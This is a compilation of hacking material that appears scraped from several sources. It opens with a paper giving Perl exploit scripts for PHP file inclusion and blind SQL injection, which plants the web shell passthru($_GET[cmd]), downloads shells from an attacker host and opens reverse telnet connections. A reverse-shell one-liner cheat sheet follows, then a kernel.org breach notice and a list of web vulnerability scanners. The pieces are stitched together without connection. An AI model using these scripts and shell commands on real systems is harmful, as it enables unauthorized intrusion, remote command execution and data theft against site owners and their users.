--[ Content

  1 - Introduction

  2 - Local and Remote File Inclusion (LFI/RFI)
   2.1 - Introduction
   2.2 - Executing commands remotely
    2.2.1 - Injecting PHP code into apache logs
    2.2.2 - Injecting PHP code into process table
    2.2.3 - Injecting PHP code into an image
    2.2.4 - Injecting PHP code into session files
    2.2.5 - Injecting PHP code into other files
   2.3 - Obtaining a shell
   2.4 - Remote File Inclusion

  3 - Blind SQL Injection
   3.1 - Introduction
   3.2 - Loading local files
   3.3 - Obtaining data without brute force
   3.4 - Executing commands remotely
   3.5 - Obtaining a shell

  4 - References

---[ 1 - Introduction

There are a lot of vulnerabilities that allow us to exploit a website, all of
them are old and documented. We can found LFI, RFI, SQL, XSS, SSI, ICH and
other attacks. For that reason I'm going to center this paper only in attacks
that allow us access to the system and to execute commands remotely.

It would be bored to write another paper with all types of vulnerabilities,
telling the same you know, for that I'll try to contribute with any new thing
and remember basic concepts superficially.

---[ 2 - Local and Remote File Inclusion (LFI/RFI)

----[ 2.1 - Introduction

This type of attacks are well known and basically consists in to read system
files using bad programmed PHP pages that make calls to another files by
require, require_once, include or include_once commands. Logically, this calls
must use any variable not initialized. Example:

    require($file);
    require("includes/".$file);
    require("languages/".$lang.".php");
    require("themes/".$tema."/config.php");

The methods to exploit it are well known and I'm not go to detail its, I'm going
to enumerate it only. For example:

Type of call:
    require($file);

Exploit:

http://host/?file=/etc/passwd

Type of call:
    require("includes/".$file);

Exploit:

http://host/?file=../../../../../etc/passwd

Tpye of calls:
    require("languages/".$lang.".php");
    require("themes/".$theme."/config.php");

Exploit:

http://host/?file=../../../../../etc/passwd%00

Type of call:
    require("languages/".$_COOKIE['lang'].".php");

Exploit:
    javascript:document.cookie = "lan=../../../../../etc/passwd%00";

One script to exploit this type of vulnerabilites, by GET or POST, could be:

lfi.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to exploit LFI based in GET and POST requests
# Example: http://site.com/index.php?var=
#   URL: http://site.com/index.php
#   Variable: var
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0 http://site.com/index.php var GET\n";
   print "\tex: perl $0 http://site.com/index.php var POST\n\n";
   exit 1;
}

$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1)");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

while () {
   print "file to edit: ";
   chomp($file=<STDIN>);

   if ($method =~ /GET/) {
      $url = $host."?".$var."=../../../../..".$file."%00";
      $req = HTTP::Request->new(GET => $url);
      $req->header('Accept' => 'text/html');
   }
   else {
      $req = HTTP::Request->new(POST => $host);
      $req->content_type('application/x-www-form-urlencoded');
      $req->content($var."=../../../../".$file."%00");
   }

   $res = $ua->request($req);

   if ($res->is_success) {
      $result = $res->content;
      print $result;
   }
   else { print "Error\n"; }
}
---------------------------------------------

----[ 2.2 - Executing commands remotely

We've seen with this type of vulnerabilities is possible to view any system
file where web user has readable access, but also is possible to execute
system commands. To do that we need to write in any file this php code:
<? passthru($_GET[cmd]) ?> 

cmd is the name we put to our variable to send it data by GET.

Now, we only have to search any place where we can write data. How can we do
that? we have several methods:

-----[ 2.2.1 - Injecting PHP code into apache logs

We know that apache server saves logs of all operations, in access_log and
error_log. We can play with registered datas and try to inject PHP code.

For example, to inject in error_log file is enough to do a call to a
nonexistent page but sending the code we need to write in the file:
    http://host/xxxxxxx=<? passthru(\$_GET[cmd]) ?> 

This will add a line into error_log injecting the code we have written. And
now? we only have to load this file with the same method we did before and send
by cmd variable the command we'd like to execute:
    http://host/?file=../../../var/apache/error_log&cmd=ls /etc
    http://host/?file=../../../var/apache/error_log&cmd=uname -a

But, how can we know the apache logs location? It depends of the operating
system and the sysadmin. One option is to search typical directories where
logs are saved:
    /var/log/apache/
    /var/log/httpd/
    /usr/local/apache/logs/
    ......

In a shared server we can see this situation:
    /path/host.com/www
                  /logs
                  /data

On this case, to know the path we only have to write a nonexisting file, for
example:

http://host/?file=xxxx

We will see in the sscreen any similar to this:
    Warning: require(xxxx) [function.require]: failed to open stream: No such
    file or directory in /var/www/host.com/www/p.php on line 2

We can intuit that log files could be in /var/www/host.com/logs

Another method to locate logs path could be viewing httpd.conf config file
where we can see any similar to this:
    ErrorLog /var/log/apache/error.log

Or in the case of a shared server:
    ErrorLog /home/chs/host.com/home/logs/error_log

But as I wrote before, it depends of the operating system, apache version and
the sysadmin, for that is possible logs are not on this location.

We also can locate apache logs path searching in the process table:
/proc/{PID}/fd/{FD_ID} (the problem is that fd directory is only accesible by
the user in some systems).

To locate the PID of our apache session we can make an HTTP request and next
read /proc/self/stat content. Self is a link to the last PID used in the
system, for that, we can read files watching on /proc/self.

Inside /proc/{PID}/fd there are only a few links to analyze, founding access_log
and error_log path. To do this task we are going to use this perl script, that
search all links inside /proc/self/fd/ directory to locate error_log path:

proc.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to serach apache logs path
# Example:
#   URL: http://site/index.php
#   Variable: file
#   Method: POST
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $var, $method) = @ARGV ;

unless($ARGV[2]) {
   print "Usage: perl $0 <url> <vulnerable_var> <method>\n";
   print "\tex: perl $0 http://site.com/index.php file GET\n";
   print "\tex: perl $0 http://site.com/index.php file POST\n\n";
   exit 1;
}

$ua->agent("<? passthru(\$_GET[cmd]) ?>");
$ua->timeout(10);
$host = "http://".$host if ($host !~ /^http:/);

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/stat%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/stat%00");
}

$res = $ua->request($req);

if ($res->is_success) {
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, " ", 0);
  $pid = substr($result, 0, $x);

  print "Apache PID: ".$pid."\n";
}

if ($method =~ /GET/) {
  $url = $host."?".$var."=../../../../proc/self/status%00";
  $req = HTTP::Request->new(GET => $url);
  $req->header('Accept' => 'text/html');
}
else {
  $req = HTTP::Request->new(POST => $host);
  $req->content_type('application/x-www-form-urlencoded');
  $req->content($var."=../../../../proc/self/status%00");
}

$res = $ua->request($req);

if ($res->is_success) {
  $result = $res->content;
  $result =~ s/<[^>]*>//g;
  $x = index($result, "FDSize",0)+8;
  $fdsize = substr($result, $x, 3);

  print "FD_SIZE: ".$fdsize."\n";
}

for ($cont = 0; $cont < $fdsize; $cont++) {
  $file = "../../../../proc/".$pid."/fd/".$cont;
  open FILE, $file;

  while(<FILE>) {
    if (($_ =~ /does not exist/) && ($_ =~ /passthru/)) {
      print "FD: ".$cont."\n";
      exit;
    }
  }
}
---------------------------------------------

pepelux:~$ perl proc.pl http://host/index.php page GET
    Apache PID: 4191
    FD_SIZE: 64
    FD: 2

If the script locate FD is because /proc/{PID}/fd/{FD_ID} is readable by the
user and we'll have, on this case, a link to error_log on/proc/4191/fd/2.
Modifying the script we could add a call to
http://host/?file=/proc/4191/fd/2&cmd=uname -a (see the first script).

We also can make the injection using an URL that doesn't back an error and log
operation will be saved on access_log:
    http://host/index.php?x=<? passthru(\$_GET[cmd]) ?> 

Is possible that apache doesn't save correctly the injection or it change <? or
?> with its hex value. On this case we can't do anything by GET and we'd try to
send PHP command by POST, for example using perl.

More data saved by apache on access_log and where we can inject are referer or
user-agent.

We are going to do some tests using this perl script:

cmd.pl
---------------------------------------------
#! /usr/bin/perl

# perl script to inject a CMD in a web LFI vulnerable
# Example:
#   Host: http://host.com
#   type: U
#
# by Pepelux (pepelux[at]enye-sec[dot]org)

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

my ($host, $type) = @ARGV ;
$code="<? passthru(\$_GET[cmd]) ?>";

unless($ARGV[1]) {
   print "Usage: perl $0 <url> [URI|UAG|REF]\n";
   print "\tURI: URI\n";
   print "\tUAG: User-Agent\n";
   print "\tREF: Referer\n\n";
   print "\tex: perl $0 http://host.com URI\n";
   exit 1;
}

$host = "http://".$host if ($host !~ /^http:/);

if ($type =~ /UAG/) { $ua->agent($code); }
else { $ua->agent("Mozilla/5.0"); }

if ($type =~ /URI/) { $$host .= "/" . $code; }

$req = HTTP::Request->new(POST => $host);
$req->content_type('application/x-www-form-urlencoded');
$req->content("x=x");

if ($type =~ /REF/) { $req->referer($code); }

$res = $ua->request($req);
---------------------------------------------

Writing in error_log sending a nonexisting URI:
    pepelux:~$ perl cmd.pl http://host.com/blabla URI

In error_log we can see:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/blabla UAG

In error_log we can see the same:
    [Wed Oct 08 12:50:00 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/blabla REF

In this case we obtain the injection:
    [Wed Oct 08 12:52:54 2008] [error] [client 11.22.33.44] File does not
    exist: /home/chs/host.com/home/html/blabla, referer: <? passthru($_GET[cmd])
    ?>

Now we are going to write in access_log that saves more information that
error_log:
    pepelux:~$ perl cmd.pl http://host.com/index.php URI

On this case we obtain:
    11.22.33.44 - - [08/Oct/2008:12:57:39 +0200] "POST
    /index.php/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 301 - "-"
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820
    Firefox/3.0.1"

Trying with the User-Agent:
    pepelux:~$ perl cmd.pl http://host.com/index.php UAG

We obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:05 +0200] "POST
    /index.php HTTP/1.1" 301 - "-" "<? passthru($_GET[cmd]) ?>"

Trying with the Referer:
    pepelux:~$ perl cmd.pl http://host.com/index.php REF

We also obtain the injection:
    11.22.33.44 - - [08/Oct/2008:13:00:56 +0200] "POST
    /index.php HTTP/1.1" 301 - "<? passthru($_GET[cmd]) ?>" "Mozilla/5.0 (X11;
    U; Linux i686; en-US; rv:1.9.0.1)Gecko/2008072820 Firefox/3.0.1"

-----[ 2.2.2 - Injecting PHP code into process table

I've found a paper (you can see down the reference) that explains how to inject
into /proc/self/environ, that it is an static path we always know. The problem
is that normally this file is only accesible by root and we can't read it.

As I wrote before, /proc/self is a link to the last PID used, for that we don't
need to search our apache process PID because we can access directly by the self
link. Attack consists in make an injection on User-Agent sending after a call to
this file: http://host/?file=../../../proc/self/environ&cmd=uname -a

We'd have to do this with a little script because we have to inject and send
command inmediately before self link changes to another PID process.

-----[ 2.2.3 - Injecting PHP code into an image

Is very typical to found websites that allow us to upload images (for example,
avatars) that are saved in the server. But what would happend if we upload a
file with the content: <? passthru($_GET[cmd]) ?> but with any image extension?
we colud upload without problems because extension is correct and we'd do a LFI
attack with the same method:
    http://host/?file=path/avatar.gif&cmd=uname -a

-----[ 2.2.4 - Injecting PHP code into session files

Suopose this vulnerable code:

    <?php
      $user = $_GET['user'];
      session_register("user");
      session_start();
    ?>

As we can see, it creates a session variable using a value obtained by GET
without any verifications.

We can send:
    http://host/?user=<? passthru($_GET[cmd]) ?>

And viewing the cookies of our navigator we can see that:
    PHPSESSID=b25ca6fea480073cf8eb840b203d343e

Analyzing session folder of our system we can see the content:
    pepelux:~$ more /tmp/sess_b25ca6fea480073cf8eb840b203d343e
             user|s:26:"<? passthru($_GET[cmd]) ?>";

As you see, we can inject code on the file that saved our session and we also
can execute commands using this file:
    http://host/?file=/tmp/sess_b25ca6fea480073cf8eb840b203d343e&cmd=uname -a

On this case location file is known and we can select it without problems. If
GET is filtered we can send it using POST.

-----[ 2.2.5 - Injecting PHP code into other files

Normally we don't have access because only root can read this files but is
possible to inject our code in other logs, for example in FTP logs:
    pepelux:~$ ftp host.com
    220 ProFTPD 1.3.1 Server (Debian) [host.com]
    Name (pepelux): <? passthru($_GET[cmd]) ?>
    Password:

If we watch /var/log/proftpd/proftpd.log we can see our code injected:
    Oct 09 21:50:21 host.com proftpd[11190] host.com
    ([11.22.33.44]): USER <? passthru($_GET[cmd]) ?>: no such user found
    from [11.22.33.44] to host.com:21

If the vulnerable server use an old version of webalizer and if it's accessible
by web, we also can use the file usage_DATE.html to execute any code because
this file is generated with the visit statistics using access_log and a bug
that affect old versions of webalizer permits to write HTML code on referer.
For example: Referer: <? passthru($_GET[cmd]) ?>

You only have to do a curl of calls with this referer to enter in the most sent
and appears in the usage_DATE.html file.

In case that apache server admits the PUT command we also can upload a file
with our code:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    OPTIONS / HTTP/1.1

    HTTP/1.1 200 OK
    Date: Sat, 11 Oct 2008 15:06:05 GMT
    Server: Apache/2.2.9 (Debian) PHP/5.2.6-5
    Allow: GET,HEAD,POST,PUT,OPTIONS,TRACE
    Content-Length: 0
    Connection: close
    Content-Type: httpd/unix-directory

    Connection closed by foreign host.

To inject:
    pepelux:~$ telnet host.com 80
    Trying 11.22.33.44...
    Connected to host.com.
    Escape character is '^]'.
    PUT /file.txt HTTP/1.1
    Content-Type: text/plain
    Content-Length:26

    <? passthru($_GET[cmd]) ?>

----[ 2.3 - Obtaining a shell

If we can execute commands remotely we can try to upload a shell to have more
access to the system.

One method is creating a PHP based shell. We can download it using wget command:
    http://host/?file=xxxx&cmd=wget http://devil/shell.txt -O shell.php

As we can't download a PHP file by HTTP, we can download a TXT file and save it
as PHP.

We also can try to do a reverse telnet:
    pepelux:~$ nc -vv -l -p 8888
    pepelux:~$ nc -vv -l -p 8889

    http://host/?file=xxxx&cmd=telnet devil 8888 | /bin/sh | telnet devil 8889

----[ 2.4 - Remote File Inclusion

If allow_url_include is On in php.ini, we can inject a shell directly. Method
is  the same I've wrote before and it's well known. You only need to load by
GET or POST directly to an URI with the shell (using a non PHP extension):

http://host/?file=http://devil.com/shell.txt

http://host/?file=http://devil.com/shell.txt%00

---[ 3 - Blind SQL Injection

----[ 3.1 - Introduction

SQL injection attacks are also well known and very docummented. I don't like to
write more of the same. I'm going to write only about the techinque that allow
to read system files.

----[ 3.2 - Loading local files

With a web vulnerable to SQL injections (this paper is based on MySQL), if the
user used has permissions to do a load_file, we can read any system file, for
example, /etc/passwd.

Example:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+

Vulnerable code:

<?php
      $iduser = $_GET['id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM users WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?>

We have an unknown table, with unknown fields and a MySQL that doesn't show any
error in the screen.

> correct call that show mail of user 2:

http://host/?id=2

> we try to reorder query results by SQL injection:
    http://host/?id=2 ORDER BY 1 ... Ok
    http://host/?id=2 ORDER BY 2 ... Ok
    http://host/?id=2 ORDER BY 3 ... Ok
    http://host/?id=2 ORDER BY 4 ... Ok
    http://host/?id=2 ORDER BY 5 ... Error

Why ORDER BY 5 causes an error? if we use ORDER BY 2 we are telling MySQL that
order results by the user, with ORDER BY 3, we tell it that order by pass
column, but as we only have 4 columns on this table, ORDER BY 5 causes an error.

Why is it useful? we can know the number of columns that this table has.

> modifing the anwser we can see in the screen (we know there are 4 columns):
    http://host/?id=-1 UNION SELECT 1,2,3,4

What do it? It we search the user with ID=-1, it response with 0 results and it
will create a new line with the injected data. Why do we use ID=-1? We can see a
practical example:

We send:
    http://host/?id=2 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

As this select only the first line, we'll see in the screen:
    User mail is: pepelux@host

If we put ID=-1 we'll obtain the injected data:

We send:
    http://host/?id=-1 UNION SELECT 1,2,3,4

We obtain:
    +---+---------+----------------------------------+--------------+
    | 1 | 2       | 3                                | 4            |
    +---+---------+----------------------------------+--------------+

In the screen we will see:
    User mail is: 4

> We can use 4th column (that we can see it in the screen) to inject:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/etc/passwd');

It will show in the screen /etc/passwd content in the mail user place (this is
possible only if the mysql user used has permissions to execute load_file).

In the case that magic_quotes are On we can use the hex value:
    http://host/?id=-1 UNION SELECT 1,2,3,load_file(0x2f6574632f706173737764);

A difference between to read files using LFI and to read it using SQL injection
is that the user used to read files is different. On the first case we use the
apache user and on the second case we use the MySQL user. This is not very
important by it can be useful to read same files with different permissions.

----[ 3.3 - Obtaining data without brute force

Supose this situation with the same vulnerable code as I wrote before:

Table: users(id int, user char(25), pass char(25), mail char(255));

Datas:
    +---+---------+----------------------------------+--------------+
    | 1 | admin   | 23e4ad2360f4ef4268cb44871375a5cd | admin@host   |
    +---+---------+----------------------------------+--------------+
    | 2 | pepelux | 655ed32360580ac468cb448722a1cd4f | pepelux@host |
    +---+---------+----------------------------------+--------------+

<?php
      $iduser = $_GET['$id'];
      $link = mysql_connect("localhost", "mysql_user", "mysql_password");
      mysql_select_db("database", $link);

      $result = mysql_query("SELECT * FROM usuarios WHERE id=$iduser", $link);
      $row = mysql_fetch_array($result);

      echo "User mail is:" . $row["mail"] . "\n";
?>

We can see all data of this table if we do that:
    http://host/?id=1 outfile "/tmp/sql.txt"
    http://host/?id=-1 UNION SELECT 1,2,3,load_file('/tmp/sql.txt');

/tmp/sql.txt content is:
    1       admin    23e4ad2360f4ef4268cb44871375a5cd	admin@host

As we can see, we have extracted all data of the user with ID=1 without know the
table name or the fields names. With the same method we can extract all user
fields.

The problem of this attack is that we only can read data of the table that is
used in the query.

Using this technique we can also copy system files in the local directory to
access it by web, for example:
    http://host/?id=-1 union select 1,load_file("/etc/passwd"),1 into outfile
    "/var/www/host.com/www/passwd"

And we can create PHP files. For example:
    http://host/?id=-1 union select 1,"<?phpinfo()?>",1 into outfile
    "/var/www/host.com/www/phpinfo.php"

----[ 3.4 - Executing commands remotely

We have seen several methods to inject <? passthru($_GET[cmd]) ?> that give us
the possibility to execute commands remotely. Main problem we found is to
locate a file to write the PHP code. With the apache logs is complicated to
find the location and also is possible that the user doesn't have permissions
to read it.

On this case is easy to cause an error that show us in the screen the path of
the website. If we know it we can create a PHP file with the code that allow us
to execute commands:
    http://host/?id=-1 union select 1,"<?passthru($_GET[cmd])?>",1 into outfile
    "/var/www/host.com/www/cmd.php"

Next we only have to do:
    http://host/cmd.php?cmd=uname -a

If the website is vulnerable to LFI attacks we can write the PHP code in any
place that we have writeable permissions. For example in /tmp:

First, we can inject code in a file on /tmp:
    http://host/?id=-1 union select 1,"<? passthru($_GET[cmd]) ?>",1,1 into
    outfile "/tmp/sql.txt"

Next we use LFI to execute commands:
    http://host/?file=../../../tmp/sql.txt&cmd=uname -a

----[ 3.5 - Obtaining a shell

If we have created a file containing our PHP code, the method to obtain a shell
is the same that I described before for LFIs (you can see point 2.3)   

---[ 4 - References

- http://www.g-brain.net/tutorials/local-file-inclusions.txt
- http://ush.it/team/ascii/hack-lfi2rce_proc/lfi2rce.txt
- http://www.securityfocus.com/bid/3473
- http://dev.mysql.com/doc/

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.  This page deals with the former.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – though you could probably upload a binary program too if you’re suitably well prepared.

The examples shown are tailored to Unix-like systems.  Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste.  As such they’re quite short lines, but not very readable.

Bash

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

Here’s a shorter, feature-free version of the perl-reverse-shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

There’s also an alternative PERL revere shell here.

Python

This was tested under Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

If you want a .php file to upload, see the more featureful and robust php-reverse-shell.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

xterm

One of the simplest forms of reverse shell is an xterm session.  The following command should be run on the server.  It will try to connect back to you (10.0.0.1) on TCP port 6001.

xterm -display 10.0.0.1:1

To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001).  One way to do this is with Xnest (to be run on your system):

Xnest :1

You’ll need to authorise the target to connect to you (command also run on your host):

xhost +targetip

Further Reading

Also check out Bernardo’s Reverse Shell One-Liners.  He has some alternative approaches and doesn’t rely on /bin/sh for his Ruby reverse shell.

There’s a reverse shell written in gawk over here.  Gawk is not something that I’ve ever used myself.  However, it seems to get installed by default quite often, so is exactly the sort of language pentesters might want to use for reverse shells.

source : http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

    Earlier this month, a number of servers in the kernel.org infrastructure were compromised. We discovered this August 28th. While we currently believe that the source code repositories were unaffected, we are in the process of verifying this and taking steps to enhance security across the kernel.org infrastructure.

What happened?

• Intruders gained root access on the server Hera. We believe they may have gained this access via a compromised user credential; how they managed to exploit that to root access is currently unknown and is being investigated.
• Files belonging to ssh (openssh, openssh-server and openssh-clients) were modified and running live.
• A trojan startup file was added to the system start up scripts
• User interactions were logged, as well as some exploit code. We have retained this for now.
• Trojan initially discovered due to the Xnest /dev/mem error message w/o Xnest installed; have been seen on other systems. It is unclear if systems that exhibit this message are susceptible, compromised or not. If developers see this, and you don’t have Xnest installed, please investigate.
• It *appears* that 3.1-rc2 might have blocked the exploit injector, we don’t know if this is intentional or a side affect of another bugfix or change.

What Has Been Done so far:

• We have currently taken boxes off line to do a backup and are in the process of doing complete reinstalls.
• We have notified authorities in the United States and in Europe to assist with the investigation
• We will be doing a full reinstall on all boxes on kernel.org
• We are in the process of doing an analysis on the code within git, and the tarballs to confirm that nothing has been modified

The Linux community and kernel.org take the security of the kernel.org domain extremely seriously, and are pursuing all avenues to investigate this attack and prevent future ones.

However, it’s also useful to note that the potential damage of cracking kernel.org is far less than typical software repositories. That’s because kernel development takes place using the git distributed revision control system, designed by Linus Torvalds. For each of the nearly 40,000 files in the Linux kernel, a cryptographically secure SHA-1 hash is calculated to uniquely define the exact contents of that file. Git is designed so that the name of each version of the kernel depends upon the complete development history leading up to that version. Once it is published, it is not possible to change the old versions without it being noticed.

Those files and the corresponding hashes exist not just on the kernel.org machine and its mirrors, but on the hard drives of each several thousand kernel developers, distribution maintainers, and other users of kernel.org. Any tampering with any file in the kernel.org repository would immediately be noticed by each developer as they updated their personal repository, which most do daily.

We are currently working with the 448 users of kernel.org to change their credentials and change their SSH keys.

We are also currently auditing all security policies to make kernel.org more secure, but are confident that our systems, specifically git, have excellent design to prevent real damage from these types of attacks.

Uniscan Features

• Identification of system pages through a Web Crawler.
• Use of threads in the crawler.
• Control the maximum number of requests the crawler.
• Control of variation of system pages identified by Web Crawler.
• Control of file extensions that are ignored.
• Test of pages found via the GET method.
• Test the forms found via the POST method.
• Support for SSL requests (HTTPS).
• Proxy support.

Official Change Log :

• Uniscan is now Modularized.
• Added directory checks.
• Added file checks.
• Added PUT method enabled check.
• Bug fix in crawler when found ../ directory.
• Crawler support POST method.
• Configuration by file uniscan.conf.
• Added checks for backup of files found by crawler.
• Added Blind SQL-i checks.
• Added static RCE, RFI, LFI checks.
• Crawler improved by checking /robots.txt.
• Improved XSS vulnerability detection.
• Improved SQL-i vulnerability detection.

1. Arachni

Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications.

Arachni is smart, it trains itself by learning from the HTTP responses it receives during the audit process.
Unlike other scanners, Arachni takes into account the dynamic nature of web applications and can detect changes caused while travelling
through the paths of a web application’s cyclomatic complexity.
This way attack/input vectors that would otherwise be undetectable by non-humans are seamlessly handled by Arachni.

Finally, Arachni yields great performance due to its asynchronous HTTP model (courtesy of Typhoeus).
Thus, you’ll only be limited by the responsiveness of the server under audit and your available bandwidth.

Note: Despite the fact that Arachni is mostly targeted towards web application security, it can easily be used for general purpose scraping, data-mining, etc with the addition of custom modules.

Sounds cool, right?

Features:

Helper audit methods:
For forms, links and cookies auditing.
A wide range of injection strings/input combinations.
Writing RFI, SQL injection, XSS etc modules is a matter of minutes if not seconds.

Currently available modules:

Audit:
SQL injection
Blind SQL injection using rDiff analysis
Blind SQL injection using timing attacks
CSRF detection
Code injection (PHP, Ruby, Python, JSP, ASP.NET)
Blind code injection using timing attacks (PHP, Ruby, Python, JSP, ASP.NET)
LDAP injection
Path traversal
Response splitting
OS command injection (*nix, Windows)
Blind OS command injection using timing attacks (*nix, Windows)
Remote file inclusion
Unvalidated redirects
XPath injection
Path XSS
URI XSS
XSS
XSS in event attributes of HTML elements
XSS in HTML tags
XSS in HTML ‘script’ tags

Recon:
Allowed HTTP methods
Back-up files
Common directories
Common files
HTTP PUT
Insufficient Transport Layer Protection for password forms
WebDAV detection
HTTP TRACE detection
Credit Card number disclosure
CVS/SVN user disclosure
Private IP address disclosure
Common backdoors
.htaccess LIMIT misconfiguration
Interesting responses
HTML object grepper
E-mail address disclosure
US Social Security Number disclosure
Forceful directory listing<

Download Here | Webiste here

Free, powerfull and monthly updated!

2. OWASP Zed Attack Proxy Project

The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.

It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.

ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

Some of ZAP’s features:

Intercepting Proxy

Automated scanner
Passive scanner
Brute Force scanner
Spider
Fuzzer
Port scanner
Dynamic SSL certificates
API
Beanshell integration

Some of ZAP’s characteristics:
Easy to install (just requires java 1.6)
Ease of use a priority
Comprehensive help pages
Fully internationalized
Under active development
Open source
Free (no paid for ‘Pro’ version)
Cross platform
Involvement actively encouraged

Download Here | Webiste here

3. w3af

w3af is a Web Application Attack and Audit Framework. The project’s goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend. To read our short and long term objectives, please click over the Project Objectives item in the main menu. This project is currently hosted at SourceForge , for further information, you may also want to visit w3af SourceForge project page .
The guys from backtrack (well it has connections with metasploit) included this awesome tool in their latest release.

This is only a small list of plugins that are available in w3af, you should really check out this tool.

Audit:

xsrf
htaccessMethods
sqli
sslCertificate
fileUpload
mxInjection
generic
localFileInclude
unSSL
xpath
osCommanding
remoteFileInclude
dav
ssi
eval
buffOverflow
xss
xst
blindSqli
formatString
preg_replace
globalRedirect
LDAPi
phishingVector
responseSplitting

Download here | Project here

4. Vega

Vega is an open source platform to test the security of web applications. Vega can help you find and validate SQL Injections, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows.

Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. Vega can be extended using a powerful API in the language of the web: Javascript.

Vega was developed by Subgraph in Montreal.

Modules:

Cross Site Scripting (XSS)
SQL Injection
Directory Traversal
URL Injection
Error Detection
File Uploads
Sensitive Data Discovery

Core:

Automated Crawler and Vulnerability Scanner
Consistent UI
Website Crawler
Intercepting Proxy
SSL MITM
Content Analysis
Extensibility through a Powerful Javascript Module API
Customizable alerts
Database and Shared Data Model

Download here | Website here

5. Acunetix

You heard about this program so many times. Is it good? Well you can download the free edition and test it.
Acunetix WVS automatically checks your web applications for SQL Injection, XSS & other web vulnerabilities.

HTTP Editor – Construct HTTP/HTTPS requests and analyze the web server response.
HTTP Sniffer – Intercept, log and modify all HTTP/HTTPS traffic and reveal all data sent by a web application.
HTTP Fuzzer – Perform sophisticated fuzzing tests to test web applications input validation and handling of
unexpected and invalid random data. Test thousands of input parameters with the easy to use rule builder of
the HTTP Fuzzer. Tests that would have taken days to perform manually can now be done in minutes.
Script your own custom web vulnerability attacks with the WVS Scripting tool. A scripting SDK documentation
is available from the Acunetix website.
Blind SQL Injector – An automated database data extraction tool that is ideal for penetration testers who wish to make further tests manually

Download here | Website here

